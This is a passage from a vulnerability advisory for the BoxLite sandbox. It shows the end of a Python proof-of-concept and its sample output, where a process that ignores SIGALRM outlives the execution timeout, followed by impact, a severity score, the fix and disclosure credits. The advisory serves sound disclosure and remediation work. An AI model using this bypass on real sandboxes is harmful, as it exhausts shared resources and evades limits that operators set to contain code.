Advisory

PYSEC-2026-2400

Details, part 2 of 2. The advisory

Details

print(f"{'=' * 70}")
print(f" CONTROL: elapsed={r1['elapsed']:.2f}s exit_code={r1['exit_code']} timed_out={r1['timed_out']}")
print(f" EXPLOIT: elapsed={r2['elapsed']:.2f}s exit_code={r2['exit_code']} timed_out={r2['timed_out']}")
print(f" BASELINE: elapsed={r3['elapsed']:.2f}s exit_code={r3['exit_code']} timed_out={r3['timed_out']}")

# exit_code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL)
control_killed_by_sigalrm = r1["exit_code"] == -14 and r1["elapsed"] < 5.0
exploit_survived = r2["elapsed"] > 5.0 and r2["exit_code"] == 0

print()
if control_killed_by_sigalrm:
print(" [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)")
print(" → confirms timeout watcher sends SIGALRM instead of SIGKILL")
if exploit_survived:
print(f" [+] Exploit process ran {r2['elapsed']:.1f}s past {TIMEOUT_S}s timeout, exited normally")
print(" → SIGALRM was absorbed by SIG_IGN, timeout completely bypassed")

if exploit_survived and control_killed_by_sigalrm:
print()
print(" *** VULNERABILITY CONFIRMED ***")
print(f" Fix: change Signal::SIGALRM → Signal::SIGKILL in")
print(f" guest/src/service/exec/timeout.rs")
elif not exploit_survived:
print(" NOT CONFIRMED: exploit process was also terminated at timeout")
else:
print(" INCONCLUSIVE")

if __name__ == "__main__":
asyncio.run(main())


   Sample output:

$ python3 poc_sigalrm_bypass.py
BoxLite PoC: Execution Timeout Bypass via SIGALRM
======================================================================
Box started: W0oCKYIWga2t
SIGALRM value inside container: 14

======================================================================
TEST: CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)
timeout=3.0s
======================================================================
[RESULT] exit_code=-14, elapsed=3.01s
[OUTPUT]
PID 3: normal process (default SIGALRM), running for 8s
PID 3: t+1s alive
PID 3: t+2s alive

======================================================================
TEST: EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)
timeout=3.0s
======================================================================
[RESULT] exit_code=0, elapsed=8.14s
[OUTPUT]
PID 4: SIGALRM=SIG_IGN, running for 8s
PID 4: t+1s alive
PID 4: t+2s alive
PID 4: t+3s alive
PID 4: t+4s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+5s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+6s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+7s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: t+8s STILL ALIVE (PAST 3s TIMEOUT!)
PID 4: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED

======================================================================
TEST: BASELINE: Normal process, no timeout (sanity check)
timeout=None (disabled)
======================================================================
[RESULT] exit_code=0, elapsed=8.09s
[OUTPUT]
PID 5: normal process (default SIGALRM), running for 8s
PID 5: t+1s alive
PID 5: t+2s alive
PID 5: t+3s alive
PID 5: t+4s alive
PID 5: t+5s alive
PID 5: t+6s alive
PID 5: t+7s alive
PID 5: t+8s alive
PID 5: finished

======================================================================
VERDICT
======================================================================
CONTROL: elapsed=3.01s exit_code=-14 timed_out=False
EXPLOIT: elapsed=8.14s exit_code=0 timed_out=False
BASELINE: elapsed=8.09s exit_code=0 timed_out=False

[+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)
→ confirms timeout watcher sends SIGALRM instead of SIGKILL
[+] Exploit process ran 8.1s past 3.0s timeout, exited normally
→ SIGALRM was absorbed by SIG_IGN, timeout completely bypassed

*** VULNERABILITY CONFIRMED ***
Fix: change Signal::SIGALRM → Signal::SIGKILL in
guest/src/service/exec/timeout.rs


   As shown in the output, after catching the SIGALRM signal, the process can continue running, bypassing the timeout restriction.



#### Impact

Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.



#### Score

Severity: Medium, Score: 6.5, rationale as follows:

- AV:N — Can be triggered by submitting code via the network API
- AC:L — No complex exploitation required; catching the signal is sufficient to bypass
- PR:L — The attacker does not need special privileges
- UI:N — The attacker does not need to interact with the victim
- S:U — This vulnerability only affects the sandbox internals and does not change the scope
- C:N/I:N/A:H — This vulnerability only affects availability, not confidentiality or integrity



#### Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If there are any questions regarding the vulnerability details, please feel free to reach out to Tencent Xuanwu Lab for further discussion by emailing [email protected].



#### Note

Note that the organization follows the industry-standard **90+30 disclosure policy** (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that the organization reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented.

Sources & licences